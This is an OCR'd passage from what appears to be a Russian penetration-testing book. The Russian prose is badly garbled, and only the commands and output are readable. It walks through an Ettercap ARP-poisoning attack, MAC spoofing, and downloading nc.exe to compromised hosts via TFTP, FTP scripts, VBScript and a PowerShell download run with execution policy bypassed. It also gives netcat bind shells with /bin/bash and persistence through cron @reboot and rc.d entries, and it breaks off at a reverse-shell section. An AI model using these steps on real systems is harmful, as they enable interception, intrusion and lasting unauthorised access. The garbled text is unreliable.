MIO3BOJISIET 3JI0YMBIIIEHHUKY TI€PEHANPABIIATE TPADUK MEXKIY ABYMsI YCTPOii-
CTBaMU 4Yepe3 CBOIO MAITUHY;
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e cuuddunr naposeii u ceccuii: Ettercap MojkeT UCII0JIb30BaTLCS J1J14 IlepexBarta
U IEKOIMPOBAHMS 11apoJiell U IaHHbIX CeCCHH, TlIepe/laBaeMblX 110 CeTH;

e (GbusbTpanysa 1 nHbEKINA akeToB: Ettercap mosBosigeT U3MEHATH MaKeTHI Ha
JIETY, YTO MOKET OBITH MCIOJIB30BAHO JIJISI BHEPEHSI BPEIOHOCHOTO KOJIA WJIH
NIPYTUX JAHHBIX B CETEBOI TpaduK.

[TpoBenem kiaccuueckyio ataky MitM. 3amyckaem Ettercap m HaunHaeM «CJIyIIaTh»
ceTb — JUIsE 3TOTO He 3a0y/IbTe 3aIyCTUTD IIPOIIECC, HAXKAB HA 3€JIEHYIO TaJOUYKY
B 1ipaBOM BepxHeM yriry (puc. 10.8).

e Ettercap = - [=] ¥
0831 i
Setup
Sniffing at startup (D)
Primary inferface etho -

Bridged interface  Local Loophack =

ercap

Puc. 10.8. Hauano npocnylumnsaHms

[Tporpamma Havasia cCOGUPATH JAHHBIE, 1 MBI MOKEM TIOCMOTPETH HH(MOPMAITUIO O TOM,
KaKue akTUBHBIE XOCTBI HaxXoaTcs B Haieii cetu (puc. 10.9), HaxkaB Ha KHOTIKY Scan

for hosts.

&

[>]

1]
|
O
X

Ettercap
e ILI L= 08.3.1 (EE)

Host List B
IP Address MAC Address Description
192.168.91.1  005056:C0:00:08
192.168.91.2  00:50:56:FF:1D:3F
152.168.91.130 00:0C:29:15:C6:CD
192.168.91.131 00:0C:29:2B:51:70
152.166.91.254 00:50:56:C6:70:71

Delete Host Add to Target 1 Add to Target 2
ZLBZKNOWM SBIVICES  — — ~ ~ ~ ~ ~ ~ ~ oo
Lua: no scripts were specified, not starting up!
Starting Uniticd snithing...

Randomizing 255 hosts for scanning...
Scanning the whole nctmask for 255 hosts...
S hosts added to the hosts list...

Puc. 10.9. [locTynHble XOCTbI
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Ettercap moasep;kuBaeT cjeyiomnne THITBI aTak:

ARP Spoofing umn ARP Poisoning. Haubouee paciipoctpatnertast (hopMa aTaku.
OcHoBaHa Ha OTIIpaBKe B ceTb noaeabubix ARP-coobmenuii aia casasu MAC-
ajipeca atakyioriero ¢ IP-agpecom sipyroro ycTpoiictsa. ITO MO3BOJISIET Tepe-
XBaTUTH TPADUK, TTpeIHa3HAUYECHHBIN JIJIST HETO.

DHCP Spoofing. B sroit atake ocymiecrsisiercst mogmera DHCP-cepBepa
1 TIpe/IocTaBIeHNe JOKHBIX HacTpoek [P n7s apyrux ycTpoiicTs.

ICMP Redirection. Ocnoana na ncnosbzoanuu ICMP-coobiiennii, 3actaBisieT
JIPyTHe YCTPOUMCTBA B CETU OTIIPABJISATH CBOM TpahUK Yyepe3 yCTPOICTBO, MOIKOH-
TPOJIBHOE aTAKYIOIIEMY.

Port Stealing. Texnuka nepexsata Tpaduka B cetsix Ethernet, npu KoTopoit
atakyfomuil noaaensiBaeT MAC-apec 11e71eBoro ycTpolicTBa, 3aCTaBIsIsl KOM-
MYTaTOp TIepEeHATIPABJISITh MTPeIHABHAYEHHBIN /IS 9TOT0 YCTPOiicTBa TpahuK Ha
MOPT XaKepa.

Mp1 peani3yeM TepBBIM TUTT aTaKW M ITepeXBaTUM TpaduK, KOTOPBIN MepeaeTcs
MeJKy IByMs cepBepamu B Hatell cetu. Jlist atoro Beiiesimm [P mepBoro cepsepa
1 OIpeJie]InM ero repBoii 1esbio Add to Target 1, To ke mpojiesiaeM co BTOPbIM cepBe-
pom, ciienaB ero 1esbio Homep aBa (puc. 10.10).

e |E| = Ettercap

L2

(]

I
[
3
X

0.8.2.1 (EB)

Host List B

IP Address MAC Address Description
192.160.91.1  00:50:56:C0:00:00
192.168.91.2 0U50:50:FE:LD:3F
192.168.91.130 00:0C:29:15:C6:CD
192.168.91.131 00:0C:29:2B:51:70
192.168.91.254 00:50:56:E6:70:71

Delete Host Add to Target 1 [ \, Add to Target 2

2 NOSISa0Qed o menostisnst... -~~~ -~~~ """ T oo oo oo oo T e e e e e e e
DHCP: [00:0C:29:2B:51:70] REQUEST 192.168.91.131

DHCP: [192.168.91.254] ACK : 192.168.91.131 255.255.255.0 GW 192.168.91.2 DNS 192.168.91.2 "localdomain”

DHCP: [00:0C:29:15:C6:CD] REQUEST 192.168.91.130

DHCP: [192.166.91.254] ACK : 192.168.91.130 255.255.255.0 GW 152.168.91.2 DNS 192.168.91.2 "localdomain”

Host 192.168.91.130 added to TARGET1

Host 192.168.91.131 added 10 TARGET2

Puc. 10.10. Buibop uenelt ans ataku
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HauHewm aTaky, BbIGpaB B BepxHeM MeHio Mitm » ARP poisoning (puc. 10.11).

285

e I— - Ettercap |_| =] - u
" Pl 0.0.3.1 (C0) = © =
Host List 3
MITM
IP Address MAC Address ARP poisoring...
192.168.91.1 00:50:56:C(:00:08 NDP poisoning
152.168.91.2 00:50:56:FE:1D:3F ICMP redirect...
192.168.91.130 00:0C:29:15:C6:CD Porl stealing...
192.168.91.131 00:0C:29:2B:51:70 DHCP spoofing...
192.168.91.254 00:50:56:E6:70:71 Stop MITM attack(s)
SSL Intercept
Dclcte Host Add to Target 1 Add to Target 2
el 1o Lo L o o Ll e T
DHCP: [00:0C:29:2B:51:70] REQULCST 192.166.91.131
DHCP: [192.166.91.254] ACK : 192.160.91.131 255.255.255.0 GW 192.166.91.2 DNS 192.166.91.2 "localdomain”
DHCP: [D0:0C:29:15:C6:C0) REQUEST 192.168.91.130
DHCP: [192.168.91.254] ACK : 192.168.91.130 255.255.255.0 GW 192.168.91.2 DNS 192.168.91.2 "localdomain®
Host 182.168.91.130 added to TARGFT1
Host 182.168.91.131 added to TARGET?

Puc. 10.11. Boibop T1na ataku

B cayyae ycnemHoO# aTaky BBl CMOKETE BUAETH BeCh TpadWK, KOTOPBIN MPOXOJIUT
MEXIy ABYMs cepBepamMu. Ecii TouHee, TO MEKYy TpeMsl — TIePBbIM, BTOPBIM 1 Ba-
TIIHM.

Heobxo11Mo0 yroMsHyTh elie 06 01Hoii 1podieMe. Y4uTbiBaiiTe, 4To JaKe eCJI Bbl
1 TIOJIYYUTE JIOCTYTI K OJTHOMY U3 CETEBBIX IIOPTOB, CKOPEE BCETO, BCE PABHO HE CMOKE-
Te TIPOHUKHYTH B CETh, BEI[b BCE COBPEMEHHBIE KOMMYTATOPBI MOTYT KOHTPOJINPOBATh
noctyn o MAC-anpecam. OHAKO y Bac BCET/[a OCTAETCS BOSMOKHOCTH TOMEHSITh
MAC-azapec cBOero KOMIIboTepa CJeAyIOnM 00pasoM:

root@kali:~# ifconfig eth® down

root@kali:~# macchanger -r etho

Current MAC: 00:0c:29:9a:54:a5 (VMware, Inc.)
Permanent MAC: ©0:0c:29:9a:54:a5 (VMware, Inc.)
New MAC: 6a:66:b0:89:af:63 (unknown)
root@kali:~# ifconfig eth® up
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YacTo mocJie TPOBe/ICHUS YCIEITHOM aTaky Ha 1eJIeBYI0 CUCTEMY TTOSBISETCS He-
006X0IUMOCTD 3aTPY3UTh HA HEe OJIMH WU HECKOJIBKO (hailioB. ITO MOKET OBITh BCe
YTO YTOAHO: BUPYC, CHU(MhED, KIaBUATYPHBIH MTTUOH WU TEJII-KOJL IS 9KCTLTya-
TalMU OYEPETHOM YA3BUMOCTH (IIEJIT — JOCTYI K 000JI0UKe YAATEHHO CHCTEMBI ).
He Bcerma aT0 6bIBaET MPOCTO, HO ¥ B JAHHON TJIABE MBI PACCMOTPUM HECKOJIBKO
BapUAHTOB JIOCTUKEHUS ATOM 11€JIH.

ITpeskie YeM MBI HAUHEM, HY;KHO YIIOMSIHYTh 00 OJTHOM CE€PbE3HOM TIPETSITCTBUN Ha
3TOM TyTH — aHTUBHpYce. B moboit Gosee-MeHee cephe3HOi OPTraHu3aIiy OH 0
YMOJTYAHUIO YCTAHABINBAETCS HA BCE KOMITBIOTEPHI U cepBepbl. OCHOBHOI MPIHIINT
paboThl aHTUBUPYCOB — cpaBHeHHe HudPoBoil moanucu daiina ¢ Toii, 4To cogep-
JKUTCS B UX Gase JaHHbIX, M eCJIM COBIajeHne Gyaer HaiieHo, To daiia apromMaTu-
yecku ynausiercst. Ho aTo Juiib on0€e/Ibl, XyKe, eCIM aHTUBUPYCHI YIIPABJISIOTCS
I[EHTPAJN30BAHHO, TOT/IA A/IMUHUCTPATOP CETU CPasy Ke MOIYIUT yBeJOMIICHIE
0 TIPOUCXOMIATIEN aTake Ha crcTeMy. ECTh 1Ba BapuanTa 000#TH TaKOH BUJT 3aTIUTHI.
[TepBBbIii: ecM BBI PENTAIIN 3aTPY3UTh BUPYC, TO JIYUIIEe, UTOOBI OH OBLT YHUKATHHBIM,
a He cO3/IaH OJHUM U3 GECUMCICHHBIX TeHEPATOPOB. BTOPOIi: Ncmoab30BaTh HA/IO
JIeTaJIbHbIe UHCTPYMEHTBI, KOTOPBIE He BbI30BYT MOJ03PEHUS Y AHTUBUPYCA.

Bepremcs k iepeade aiisios. [Tocsie TOTo Kak BbI TTOTYIUIH OCTYI K KOMaHAHOM
CTPOKE aTaKOBAHHOI CHCTEMBI, BbI TIEPBBIM JI€JIOM CTOJKHETECh C HEXBATKOM HE0O-
XO/IMMBIX MHCTPYMEHTOB /I YIIPaBJIeHUs aTaKoi U ee MPO/I0JIKEHUS.

TFTP

ITO TPUBUAJIBHBIN [IPOTOKOJ /i Hepegaunt (ailioB, OH IIPOCT B peau3aliuu, He
MOJJICPKUBAET ayTeHTU(MUKAIMIO M OCHOBAH HA TPAHCIIOPTHOM mpoTokose UDP.
FTP paboraer B UHTEPAKTUBHOM PEKUME, JIJIsI €T0 UCIIOJIb30BaHUS TPEOYIOTCS
olpezesieHnble JefcTBUA CO CTOPOHBI 110/1b30BATeEJI, HO, K COYKAJIEHUIO, TAKON
PEKUM 4acTO HeOCTYIIeH Cpa3y ke [10CJIe B3JIOMa CUCTEMBI, [I09TOMY I10BJISETCS
HeoOXoauMocTb ucnoab3osath TEFTP. OH Xopoll TeM, 4To ¢ HUM MOKHO paboTaTh
He B MHTEPAKTUBHOM pPeKIMe.

OcuoBubiM HegoctatkoM TFTP sBiisieTcst To, 4TO 110 YMOJTUAHUIO OH HE YCTaHOBJIEH
Ha KOMITbtoTepax moj yrnpasicaueM Windows 7 u 6oJiee HOBBIX BEPCHIA, a TAKKe TO,
9TO €ro YacTo GIOKUPYIOT Ha YPOBHE (haiiepBoia, 4To, 6e3yCIOBHO, YCIOKHSIET HATITY
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JlesaTeIbHOCTD. 1 Bee ke aToT cnocob repeagaymn Q)al';IHOB HE IToTepAJI cBoOe aKTyaJlb-
HOCTH M 3HATb O HEM HE‘O6XOLII/IMO.

Yrobsl ckauath (aiin ¢ TFTP-cepsepa, Heobxoammo ero co3aars. B Kali Linux ectb
BCTPOEHHBIN cepBep atftpd, samycrum ero Ha mopre 69 U pasmMecTuM B AUPEKTOPUN
netcat:

root@kali:~# mkdir /root/tftp
root@kali:~# atftpd --daemon -port 69 /root/tftp/
root@kali:~# cp /usr/share/windows-binaries/nc.exe /root/tftp/

Tenepn 3arpy3um netcat Ha CKOMIIPOMETHUPOBAHHYIO MAIIUHY:

C:\Users\test>tftp -i 192.168.225.128 get nc.exe
Transfer successful: 59392 bytes in 16 second(s), 3712 bytes/s

FTP

FTP — npotokou nepegaun JaHHbIX, paboTtaionuii Ha ocHoBe TCP, KoTopblil siB-
Jsiercst bosiee 6e30MacHBIM 1 (QYHKIMOHAIBHBIM 110 cpaBHeHuto ¢ TFTP. Ero mpe-
MUMYTIIECTBOM SIBJISIETCS TO, YTO KJAWEHT 1T PAGOTHI C HUM MO YMOTIAHIIO BKIIOUEH
B OC Windows. Kak 1 B ipe/IbIIyII[eM TIpHMepe, CHavajia CKOHGUIYPUPYEeM Ha CBOE
MaIlluHE CepBEP, TOIEPKUBAIOTINI TaHHBIH MPOTOKOJ. Tak Kak aToT cepBuc 0bra-
naet GoJiee MUPOKON (HYHKIMOHATLHOCTHIO, HTO 3alMET HEMHOTO OOJIbIIIE BPEMEHH.

root@kali:~# apt-get install pure-ftpd

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following additional packages will be installed:
pure-ftpd-common

The following NEW packages will be installed:

pure-ftpd pure-ftpd-common

0 upgraded, 2 newly installed, © to remove and © not upgraded.

update-rc.d: As per Kali policy, pure-ftpd init script is left disabled.
insserv: warning: current start runlevel(s) (empty) of script "pure-ftpd'
overrides LSB defaults (2 3 4 5).

insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script "pure-
ftpd' overrides LSB defaults (© 1 6).

Processing triggers for systemd (231-9)

root@kali:~# groupadd ftpgroup

root@kali:~# useradd -g ftpgroup -d /dev/null -s /etc ftpuser
root@kali:~# mkdir /home/ftpusers

root@kali:~# mkdir /home/ftpusers/joe

root@kali:~# pure-pw useradd joe -u ftpuser -d /home/ftpusers/joe
Password: 123456

Enter it again: 123456

root@kali:~# pure-pw mkdb

root@kali:~# 1n -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB
root@kali:~# chown -hR ftpuser:ftpgroup /home/ftpusers/
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root@kali:~# systemctl restart pure-ftpd
root@kali:~# cp /usr/share/windows-binaries/nc.exe /home/ftpusers/joe/
root@kali:~# ftp localhost

Connected to localhost.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.

220-Local time is now ©7:54. Server port: 21.

220-This is a private system - No anonymous login

220 You will be disconnected after 15 minutes of inactivity.
Name (localhost:root): joe

331 User joe OK. Password required

Password:123456

230 OK. Current directory is /

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> bye

221-Goodbye. You uploaded © and downloaded © kbytes.

YkazaHHas MOCJIe[0BATEIBbHOCTh KOMAH 00eCeYBaeT YCTAaHOBKY U HACTPOMKY
cepBepa FTP na Kali Linux ¢ ucnosns3oBanuem Pure-FTPd. Huske npuBoautcst
KPaTKOE OTIMCAHIE KOMAH]T:

apt-get install pure-ftpd — ycranoska Pure-FTPd;
groupadd ftpgroup — cosjaHue HOBOII TPYIIIIbI ¢ Ha3BaHueM ftpgroup;

useradd -g ftpgroup -d /dev/null -s /etc ftpuser — co3manue HOBOTO MOJIb-
3oBareid ¢ uMeHeM ftpuser, mobasiseM ero B rpymniy ftpgroup. B kauecrtse mo-
MalIlHEeTo KaTajora ykasbiBaeM /dev/null;

mkdir /home/ftpusers u mkdir /home/ftpusers/joe — co3/laHrie HOBbIX KaTaJIO-
roB. [lepBas cosgaet kartasor misa FTP-nonb3oBaresieil, a Bropast co3ziaeT moj-
KaTaJIor JIJIsT TI0JIb30BaTe sl TI0 MMEHU Joe;

pure-pw useradd joe -u ftpuser -d /home/ftpusers/joe — mobaBieHue HOBO-
ro nosib3oBatesist B Pure-FTPd ¢ uMeneM Joe, ipaBamMut CHCTEMHOTO MOJTb30BATE ST
ftpuser u romanrauM katasorom B /home/ftpusers/joe;

pure-pw mkdb — co3zaHue HOBOI 6asbl aHHbIX HapoJeii aist Pure-FTPd;

1n -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB — co3manue
CHMBOJIMYECKOI CChLIKM Ha KOH(UIypanoHHbiii (aita PureDB B katanore auth;

chown -hR ftpuser:ftpgroup /home/ftpusers/ — cMeHa BJajiesiblla KaTajaora
U BCEX ero MoAKaTajoros Ha ftpuser u rpymsl Ha ftpgroup;

systemctl restart pure-ftpd — nepesaiyck cepsuca Pure-FTPd,;

cp /usr/share/windows-binaries/nc.exe /home/ftpusers/joe/ — KonnupoBaHue
UCITOJTHSIEMOTO (haiijia Nc.eXe B IOMAIIHUI KaTaJIor 1T0JIb30BaTelis JOe;

ftp localhost — noakiodyenue k FTP-cepsepy, 3altyiieHHOMY Ha Halllel MalllnHe.

WTak, Mbl yCTAaHOBUJIM U CKOH(UTYPUPOBAJIU CEPBUC, A TAKKE CO3/4a/H JOMALIHIOI
JMPEKTOPHIO W TTOJh30BATENS. 3aTeM MbI TIPOTECTHPOBAJIN HAII CEPBEP U YOO IIICH
B €ro paboTOCIIOCOOHOCTH.
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OcnosHoll ipobsiemoii FTP-cepBepoB B KOHTEKCTE TeCTUPOBAHUS Ha TIPOHUKHO-
BeHUE SIBJIIETCS UX MHTEPAKTUBHOCTh. Kak Bbl BUIETM U3 PUMeEPA BbIIlle, [T0CJIe
TOIKITIOYEHNUST K CEPBEPY MBI OJIKHBI OBLIN MPEIOCTABUTD JIOTHH, TAPOJIb, & 3aTEM
MPEKPATUTh CECCUIO TTPH TIOMOIIIN KOMaH/IbI bye.

ITposeMOHCTPUPYEM, TIOUEMY 3TO SIBJSIETCS TIPOOJIEMON 1 KaK ee MOKHO OOOUTH.
[Ipeamososkum, BaMm yaanoch moxyduTh goctyn k Netcat (nc) Ha OfHON 13 MalIMH
nenesoii 1C, koropas paboraer mox yrpasienuem Linux. B Xoze rcciegqoBaHms Mbl
obHapy KU, uTo Ha (haiiepBosie oTKpoIT OpT 8080, HOaTOMY OyIEM UCIIOIH3OBATH
ero. JIJig Havasia 3alycTuM ne, KOTopbiil 6yaer paborath Ha mopte 8080:

pupkin@mailserver:~$ nc -lvnp 8080 -e /bin/bash
listening on [any] 8680 ...

B aroit komanme HCIOJB3YIOTCA CJIEAYIONINE ITapaMETPhI:

o -1 YKa3bIBa€T Netcat pa6OTaTb B PEKUME «CIIYITAHUA», OKNIasd BXOIATIETO MTO/T-
KJIIOYEeHM A,

® -V yCTAaHaBJIUBAET PEKUM HOI[pO6HOI‘O BbIBO/IA;

-n ykasbiBaeT Netcat He peo6pPa3oBBIBAThL UMEHA XOCTOB, YTO MOMOTaeT 13ba-
BUTHCA OT HEeHYKHBbIX DNS-3a1mpocos;

® -p 8080 yKa3bIBaeT HOMEp I10PTa;

® -e /bin/bash nepenaet Netcat MHCTPYKIIMIO BBIIOJHATH /bin/bash nipu ycra-
HOBKE BXOJSIIETO MOAKIIOYCHI.

33HyCTI/IB NC Ha MalllHE JKEPTBbI, MOAKJIIOYNMCA K Hell IIpy ITOMOIIN TOT'O JKe NC.
IMonpobyem noaxounThest U K FTP-cepsepy:

root@kali:~$ nc -vn 192.168.10.181 8080
ftp 192.168.10.105
joe
123456
bye

Brisicasiercs, 4To MBI HUYero He BUAUM. Mbl He MOKeM y3HaTh, 4To oTBevaeT FTP-
cepBep. ITo HeM30EKHO MPUBEAET K TPYAHOCTSIM B paboTe U IoTepe A0CTYyIIa, 0-
HTOMY HaJI0 IOIBITAThCs 000ITH Ty IPOOIEMY.

[l mosydyeHns MHTEPAKTUBHONM KOHCOJIM BOCIIOJIb3yEMCS UHTEPIPETATOPOM
Python. Ha nauubiii MmomenT Python siBiisiercst ofHUM U3 caMbIX TOMYJISIPHBIX
A3bIKOB [IPOIPAMMUPOBAHUS U yCTAHOBJIEH IIPAaKTUYECKH Ha KasK/0M cepsepe. B ero
COCTaB BXOJUT CTAHAAPTHBIN MOYJIb JJIs1 CO3[IaHM IICEB/IOTePMUHAIIOB pty:

root@kali:~# nc -vn 192.168.10.181 8080
python -c 'import pty; pty.spawn("/bin/bash")"’
pupkin@mailserver:~$

MbI IOJTYYUIIN TOCTYTI K TICEBIOKOHCOJH, TEMEPh Yy HAC €CTh BO3MOKHOCTH UCIIOJIb-
30BaTh MIPUBBIYHYIO WHTEPAKTUBHYIO KOHCOJIb, TIOMPOOYEM COCTMHUTHCS ¢ HAIIUM
FTP-cepBepom:
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pupkin@mailserver:~$ ftp 192.168.10.105

Connected to localhost.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.

220-Local time is now ©8:10. Server port: 21.

220-This is a private system - No anonymous login

220 You will be disconnected after 15 minutes of inactivity.
Name (localhost:root): joe

331 User joe OK. Password required

Password:123456

230 OK. Current directory is /

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> bye

221-Goodbye. You uploaded © and downloaded @ kbytes.

MNepenaya dpannos B Windows

C nepenaueii ¢aiisios B Linux Bce 06CTOUT AOCTATOYHO IIPOCTO BBUY TOTO, YTO BCET-
I1a MOKHO HaiiTu kakoe-inbo npeaycranosiennoe I10: Netcat, curl, wget u 1. 1.
C Windows Bce HeMHOTO CJI0KHEe, HO He Gy1eM OIlyCKaTh PYKH U IIOCMOTPUM, YTO MOJK-
HO C/IeJIaTh. YBEPEHHOCTD BCEJISIET TO, YTO B MocjIeAHIX Bepcusax Windows ecTb cBoii
npenyctanoBiaeHHbIi FTP-kineHT, 1 XOTsI OH KOHCOJTBHBIHN, 3TO OYeHb HAM TTOMOJKET.

B cBsa3u ¢ paccMoTpeHHOi Bbilie ocoberHocThio FTP s 1cnoib3oBanms KOH-
COJIBHOTO KJIMEHTA MbI BHauYaJie MOJATOTOBUM TEKCTOBBIH (hails, comepKaiinii Bce
HeoOXO0MMble KOMaH/bI, a 3aTeM IepelaJliM ero B KaueCcTBe MapaMeTpa KIMEeHTY
Ha CKOMIIPOMETHPOBAHHON MalinHe. ITo HeOOXOAUMO /I TeX CJIydaeB, KOrjga Ham
OyJIeT HeIOCTYITHA KOMaH/HAs CTPOKa, paboTaoIas B MHTEPAKTUBHOM PEKIME.

Coueprkanue daiina ftp.txt:

open 192.168.10.105 21
USER joe

123456

Bin

GET nc.exe

bye

SaHyCTHNIKHHeHTZ

C:\Users\test>ftp -v -n -s:ftp.txt

3arpysuth (ailssl MOKHO ¢ ucrnosbzoBanreM VB u PowerShell-ckpunros. [lus
pUMepa CO3/aIM CKPHUIIT, KOTOPbIiT He OyeT TpeGoBaTh OT MOJIb30BaTE sl HUKAKUX
JIOTIOTHUTEJIbHBIX ZIEHCTBUH, TO ecTh HemHTepakTuBHBIN. Vcnonbays HT TP, nannsrit
CKPWIIT 3arpy3uT (haii, 3apanee pa3MelleHHbII HaMu Ha Beb-cepBepe:

HTTPDownload "http://www.robvanderwoude.com/files/wmigen.zip", "C:\"
Sub HTTPDownload( myURL, myPath )

' Written by Rob van der Woude

Dim i, objFile, objFSO, objHTTP, strFile, strMsg
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Const ForReading = 1, ForWriting = 2, ForAppending = 8

Set objFSO = CreateObject( "Scripting.FileSystemObject" )

If objFSO.FolderExists( myPath ) Then

strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
strFile = myPath

Else

WScript.Echo "ERROR: Target folder not found."

Exit Sub

End If

Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )

Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )

objHTTP.Open "GET", myURL, False

objHTTP.Send

For i = 1 To LenB( objHTTP.ResponseBody )

objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )

Next

objFile.Close( )

End Sub

Tenepb MbI MOJKEM 3aITyCTUTD 9TOT CKPUIIT U3 KOMaHZ[HOfI CTPOKU:

C:\Users\test> cscript get.vbs

Ecii cucrema sxeprebl paboraer oz yipasierunem OC Windows 7, Windows 2008
uiu GoJiee HOBO# BEpPCUU, MOKHO Hanucath ckpunT /st PowerShell, uro snaunresb-
HO yripocTuT paboty. [l Havata co3aanM CopepKaliii HeoOX0MMble KOMAaH/IbI
(haitn 1 nazoBem ero get.psi.

Conepsxanne daiina get.psi:

$webclient = New-Object System.Net.WebClient
$url = "http:// 192.168.10.105/nc.exe"

$file = "nc.exe"
$webclient.DownloadFile($url,$file)

Terepb BBIITOJHUM CO3/[aHHbIE HHCTPYKIIMH, cronb3yst PowerShell:

C:\Users\test> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive
-NoProfile -File wget.psl
B nannoit koMaHzie UCTIOJIB3YIOTCA CAeYIoNIre TapaMeTphI:

® -ExecutionPolicy Bypass II03BOJISET 3allyCKaTh CKPUIITHI 6e3 kakux-a160
OTpaHUYEeHUT;

® -NoLogo oTkiiodaeT otobpakenne gororuma PowerShell mpu samycke, uto o6bramo
HCTIOJIb3YETCs JITIsE COKPBITHS JIMITHEH WH(MOPMAIIUK [IPU BBITIOJHEHU CKPHUITTOB;

® -NonInteractive OTKJIIOYAaeT BO3MOKHOCTb B3aUMO/IEHCTBUS C I10JIb30BaTeEJ/IEM;

® -NoProfile Mo3BOJISET He 3arpy:KaTh IPOMUIIN MOJb30BaTe el ITPU 3aITyCKe, 9TO
yckopsieT mpotiecc 3amycka PowerShell u yMeHbIaeT BeposiTHOCTh BOSHUKHOBE-
HYS OIMOOK, BRI3BAHHBIX HACTPOHKAMU TPOpUIIS,

® -File get.psl ykaseiBaer PowerShell ma daiin, cogepskammii KoMaHIpL.
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[Tocsie Toro Kak GBI MOJTYYEH TOCTYT K TETEBOI cucTeMe, HaM HY/KHO 3aKPETHUTHCST
Ha 3aXBaYE€HHBIX PYOesKaX U MOIEPKUBATD ATOT OCTYIL. Hepenko BOSHUKAIOT CUTY-
alnu, KOr/la Bbl HAXO/IUTE YSI3BUMOCTD, 9KCILIyaTUPyeTe ee, [MoJydaeTe 10CTYIl K Ma-
IIHHE, a B 9TY K€ HOUb aJIMUHUCTPATOP OOHOBJISIET CHCTEMY, 3aKPbIBast HAWJIEHHYO
BaMU YSI3BUMOCTD, U BbI OOJIBIIIE HE MOKETE BOCIIOIB30BATHCS JaHHBIM CEPBEPOM.
To ke camoe kacaeTcs 1epe3arpy3Ku CUCTeMBbI.

Jlist mopiepskalust 10CTyIIa CYIECTBYeT IMUPOKUI HabOp MHCTPYMEHTOB, HAuMHAas
C pa3JII/I‘{HbIX <<6QK,[[OpOB>> 1 3aKaH4YMBasd BIIOJIHE JIETUTUMHBIMN I/IHCprMEHTaMI/I
u3 cocrasa OC. C uX OMOIIBIO [10CJI€ 3aKPEIIEHUS B CUCTEME Bbl CMOXKeTe 6e3
pobJIeM MOKII0UaThCs K HEll CTOJIBKO pas, CKoJIbKO moTpebyercst. Kpome Toro, Bbi
CMOJKETe CO3/IaBaTh TYHHEIN U paboTaTh Tak, OYATO HAXOAUTECh BHYTPU CETH Opra-
HU3AI[UH, YTO CYHIECTBEHHO 00JIErYHT BBIIOJHEHNE JaJbHEHIINX 3a/1a4.

[Tmoc co3panus TyHHEIEH B TOM, YTO WHKEHED, HAXOASIIUIICS BHYTPHU CETH, IMEET
ropaszio 60JIbIe CBOOOBI [IJIsI CKAHWPOBAHYSI U aTaKU CHUCTEM, TIOCKOJIBKY 3alluTa
4acTo HallesIeHa Ha [TOMCK BHEIIHUX aTak. ATaka, MCXO/SIas OT CUCTEeMbl BHYTPU
ceTH, IMeeT GOJIBINE TMAHCOB OCTaThCsT HE3aMEUEHHOTH.

Netcat

Netcat (n¢) — oueHb MolHag U TUOKasg yTUAKWTa, paboTaoliasd U3 KOMaHIHON
CTPOKH, YaCTO Ha3bIBAEMast «IIBEHI[APCKUM apMEHCKIM HOKOM» JIjist paboTHI ¢ ce-
thio. Ona ucnosbdyercs ast coznanusg TCP- u UDP-coeaunennii, ckannpoBanus
MOPTOB, Tiepeaun (HailoB U gaske s CO3/IaHNS TTPOCTBIX CKPUTITOB U MTPOTPAMM.
Netcat 06bIYHO MpeLyCTaHOBJIEH Ha OosbinHCTBe UNiX-CUCTEM U MOKET paboTaTh
B PEKUMAX «KJIUEHT» WU «CePBEP>.

WTax, nposkcIiyaTupoBaB ys3BUMOCTb, Mbl TIOJIYYUJIN IOCTYTI K KOMaHHON CTPOKe
cepsepa. Terepb co3aM TPOCTON GIKIOP € UCTIOIb30BaHUEM netcat:

#nc -1lvp 1234 -e /bin/bash
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B sroit komarize:
® -lvp 1234 faetr netcat MHCTPYKITHIO «CJyTIAThy Ha opTe 1234;

® -e /bin/bash ykasbiBaeT netcat BbIIIOJHUTDH /bin/bash 1pu mojgydyeHun coemu-
HEHUs, TTPEIOCTABIISS yIaJleHHOMY T10JIb30BaTeJII0 T0CTYII K KOMaH/IHOW CTPOKe.

Temeps MBI MOKEM TTOJKJIIOUNTECST CO CBOETO KOMITbIOTEPA K CKOMIIPOMETHPOBAH-
HOMY cepBepy:

#nc 67.67.12.3 1234

ITO elile He BCe — MBI 3aKPEUIIChH HA 3aXBAYEHHOM CepBepe, HO YTOOBI He IOTepsATh
JIOCTYII TIOCJIE TIepe3arpy3Ky CUCTeMbI, HaM HeOOXO0AMMO 00aBUTh NC B aBTO3arPY3KY.
ITO MOXKHO CJIEJIATh HECKOJIBKIMHE criocobamu. [Tpumennm cron. J[Jist 5T0oro 0TKpoiite
pesakrop crontab -e u go6aBbTe CIEAYIONIYIO CTPOKY:

@reboot /usr/bin/nc -lvp 1234 -e /bin/bash

CoxpanuMm pe3yJsTar u BbliijieM U3 pejiakropa. Tenepb @reboot MHCTPYKTUPYET Cron
3aIyCKaTh NC IIPU KAKIO0H 3arpy3Ke CUCTEMBI.

Bropoii crioco6 — go6asuts nc B re.d. s aToro cospaiite aiia re.netcat B gupek-
topun /etc/rc.d. Terepb 106aBUM Ty/Ia CIELYIOIIUI TEKCT:

#!/bin/sh

mkdir /tmp/nc

while true ; do

cd /tmp/nc | nc -1 -p 1234 -e /bin/sh
done

NC 1 0bpaTHbIf Wwenn

Mpb1 He Bcersia MOKeM PacCUMTHIBATh HA JIOCTYII K HAIllEel 11eJIeBOI cucTeMe, HaXo-
msich Bo BHermHel cetn. [IpesictaBbre cebe CUTYAINIo, KOT/IA BCJIEACTBHE N3MEHEHH T
MOMUTUK Ha aliepBosie GIOKUPYETCS OCTYIT M3 BHEITHEH CETH K OMPEIeICHHOMY
HOPTY HA B3JIOMAHHOW MallIUHE.

